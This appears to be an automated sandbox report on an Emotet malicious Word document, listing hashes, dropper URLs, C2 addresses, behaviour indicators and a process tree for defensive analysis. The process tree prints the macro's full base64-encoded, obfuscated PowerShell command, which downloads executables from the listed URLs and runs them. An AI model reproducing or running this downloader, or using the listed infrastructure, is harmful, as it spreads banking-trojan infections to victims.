emotet | edb4c8661ea5ca919d47531c2e4e88c1df60b74c1928981d7ffc28ad8aa59eab

General

Target
emotet_e3_edb4c8661ea5ca919d47531c2e4e88c1df60b74c1928981d7ffc28ad8aa59eab_2020-08-19__100728._doc.doc
Size 200KB
Sample200819-4zsvrhq1w6
SHA256 edb4c8661ea5ca919d47531c2e4e88c1df60b74c1928981d7ffc28ad8aa59eab
MD5 45824cdb1fab2a6e1377523f7997720e
SHA1 2921da6109fc167bbe0ef56ffb74aa22a0e68ac6
SHA512 9ae1383410310354f15506286a94d032628e20fefa897a5a4aace3b93c520d3b9a65fe71462005f70c910fcd6fe255bfa090ffdb7dbdf34881549b86cd835a6c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.arkaneod.com/q1nn7k21w463/
exe.dropper
http://archabits.com/content/gcUPYiHZ/
exe.dropper
http://binarystationary.com/cgi-bin/XXPUJqn/
exe.dropper
https://mewolters.nl/tmp/Y5zkijmonrvx4707593/
exe.dropper
http://abcxyzsuperstore.com/temp/2ruqzzb6sx6774986/
exe.dropper
http://www.ashraebangalore.org/wp-admin/R3Vc7f4fhhv56933/
exe.dropper
http://binaryprintingsolutions.co.in/cgi-bin/OFH/

Extracted

Family

emotet

C2

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1004	3888	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2100-14-0x0000000000820000-0x000000000082C000-memory.dmp	emotet
behavioral2/memory/2100-14-0x0000000000820000-0x000000000082C000-memory.dmp	emotet
behavioral2/memory/2856-17-0x0000000002010000-0x000000000201C000-memory.dmp	emotet
behavioral2/memory/2856-17-0x0000000002010000-0x000000000201C000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
9	1004	powersheLL.exe
11	1004	powersheLL.exe
13	1004	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2100	Mfkj95nt.exe
2856	icmui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\XpsRasterService\icmui.exe	Mfkj95nt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1004	powersheLL.exe
1004	powersheLL.exe
1004	powersheLL.exe
2856	icmui.exe
2856	icmui.exe
2856	icmui.exe
2856	icmui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
2100	Mfkj95nt.exe
2100	Mfkj95nt.exe
2856	icmui.exe
2856	icmui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 2100	1004	powersheLL.exe	74
PID 1004 wrote to memory of 2100	1004	powersheLL.exe	74
PID 1004 wrote to memory of 2100	1004	powersheLL.exe	74
PID 2100 wrote to memory of 2856	2100	Mfkj95nt.exe	76
PID 2100 wrote to memory of 2856	2100	Mfkj95nt.exe	76
PID 2100 wrote to memory of 2856	2100	Mfkj95nt.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_edb4c8661ea5ca919d47531c2e4e88c1df60b74c1928981d7ffc28ad8aa59eab_2020-08-19__100728._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4092

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJAGcAcABnAGQAXwA4AD0AKAAnAEgANwB1ACcAKwAnAHMAdgBxACcAKwAnAG0AJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIASQBUAFkAUABSAG8AYABUAE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAnACsAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAJwArACcAdAAnACsAJwBsAHMAJwApADsAJABKAHYAdAB5AG0AbQBsACAAPQAgACgAJwBNAGYAawBqACcAKwAnADkANQBuAHQAJwApADsAJABLADUANQBlAGIAZwBvAD0AKAAnAEcAJwArACcAagB2AGQAdwBfAGEAJwApADsAJABBAHUAXwBpAHkANwBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyACcAKwAnADAAMQA5AHsAMAAnACsAJwB9ACcAKQAgAC0ARgAgAFsAQwBoAGEAUgBdADkAMgApACsAJABKAHYAdAB5AG0AbQBsACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABIADAANABsAHcAdQA5AD0AKAAnAFYAZgBoAGMAYwA2ACcAKwAnAHQAJwApADsAJABGAGsAaQBsADQAOABiAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBCAGMATABpAGUAbgB0ADsAJABLADYAcwBoAHAAeAAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AdwB3AHcAJwArACcALgBhAHIAawAnACsAJwBhAG4AZQBvACcAKwAnAGQALgBjAG8AbQAnACsAJwAvAHEAMQBuAG4ANwBrADIAMQAnACsAJwB3ADQANgAzAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAcgAnACsAJwBjAGgAYQBiAGkAdAAnACsAJwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAG8AbgB0ACcAKwAnAGUAbgB0AC8AZwBjACcAKwAnAFUAUABZAGkASABaACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGIAJwArACcAaQBuACcAKwAnAGEAcgAnACsAJwB5AHMAdABhAHQAaQBvAG4AJwArACcAYQByAHkAJwArACcALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBYAFgAUABVAEoAcQBuAC8AKgBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAvAC8AbQBlAHcAJwArACcAbwBsAHQAZQAnACsAJwByAHMALgBuAGwALwB0AG0AcAAvAFkAJwArACcANQB6AGsAaQBqAG0AbwBuAHIAdgB4ADQANwAwACcAKwAnADcANQA5ADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYQBiAGMAeAB5AHoAcwB1ACcAKwAnAHAAZQByAHMAdABvAHIAZQAuACcAKwAnAGMAbwBtAC8AdABlAG0AcAAnACsAJwAvADIAcgB1AHEAegB6AGIAJwArACcANgBzAHgANgA3ADcAJwArACcANAAnACsAJwA5ADgAJwArACcANgAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwB3AHcAdwAuAGEAcwBoAHIAYQBlAGIAYQBuACcAKwAnAGcAYQBsAG8AJwArACcAcgBlACcAKwAnAC4AbwByACcAKwAnAGcALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBSADMAVgBjADcAZgAnACsAJwA0AGYAJwArACcAaABoAHYANQA2ADkAMwAzAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGIAaQBuAGEAcgB5AHAAcgBpACcAKwAnAG4AdABpAG4AZwBzAG8AbAB1AHQAaQAnACsAJwBvAG4AJwArACcAcwAuAGMAbwAuAGkAbgAvAGMAZwBpAC0AYgAnACsAJwBpAG4ALwBPAEYASAAvACcAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAHAAegBmAGMAdwBpAD0AKAAnAEUANABtACcAKwAnAGcAMwB3ACcAKwAnADcAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABhAF8AdgAyAHMANAAgAGkAbgAgACQASwA2AHMAaABwAHgAMQApAHsAdAByAHkAewAkAEYAawBpAGwANAA4AGIALgAiAEQAbwBgAHcATgBgAEwATwBhAEQAZgBJAGAATABlACIAKAAkAFQAYQBfAHYAMgBzADQALAAgACQAQQB1AF8AaQB5ADcAZAApADsAJABHAHcAeQA2AHYAaABmAD0AKAAnAFcAdgBqACcAKwAnADcAMABtACcAKwAnAHgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAdQBfAGkAeQA3AGQAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAyADcAOAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQB1AF8AaQB5ADcAZAApADsAJABUAGgAZwBrADcAdQB5AD0AKAAnAEMAZwAnACsAJwA0AGgAMwByAGoAJwApADsAYgByAGUAYQBrADsAJABBADQAcQBoAHkAaQB6AD0AKAAnAFYAawAnACsAJwByAG0AbQAyADUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAHEAYQBvAHoANwBvAD0AKAAnAFoAZQBzACcAKwAnAGIAbQB4ACcAKwAnAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Mfkj95nt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\SysWOW64\XpsRasterService\icmui.exe
    "C:\Windows\SysWOW64\XpsRasterService\icmui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1004-8-0x00007FFDC5950000-0x00007FFDC633C000-memory.dmp

Download

memory/1004-10-0x000001B4F72A0000-0x000001B4F72A1000-memory.dmp

Download

memory/1004-9-0x000001B4DEAE0000-0x000001B4DEAE1000-memory.dmp

Download

memory/2100-14-0x0000000000820000-0x000000000082C000-memory.dmp

Download

memory/2856-17-0x0000000002010000-0x000000000201C000-memory.dmp

Download

memory/4092-7-0x000001FB1E87D000-0x000001FB1E886000-memory.dmp

Download

memory/4092-0-0x00007FFDCD490000-0x00007FFDCDB56000-memory.dmp

Download

memory/4092-3-0x000001FB1E61F000-0x000001FB1E630000-memory.dmp

Download

memory/4092-1-0x000001FB1E3D4000-0x000001FB1E3E5000-memory.dmp

Download

memory/4092-4-0x000001FB1E61C000-0x000001FB1E61F000-memory.dmp

Download

memory/4092-6-0x000001FB1E87D000-0x000001FB1E886000-memory.dmp

Download

memory/4092-2-0x000001FB1E61C000-0x000001FB1E61F000-memory.dmp

Download

memory/4092-5-0x000001FB1E87D000-0x000001FB1E886000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads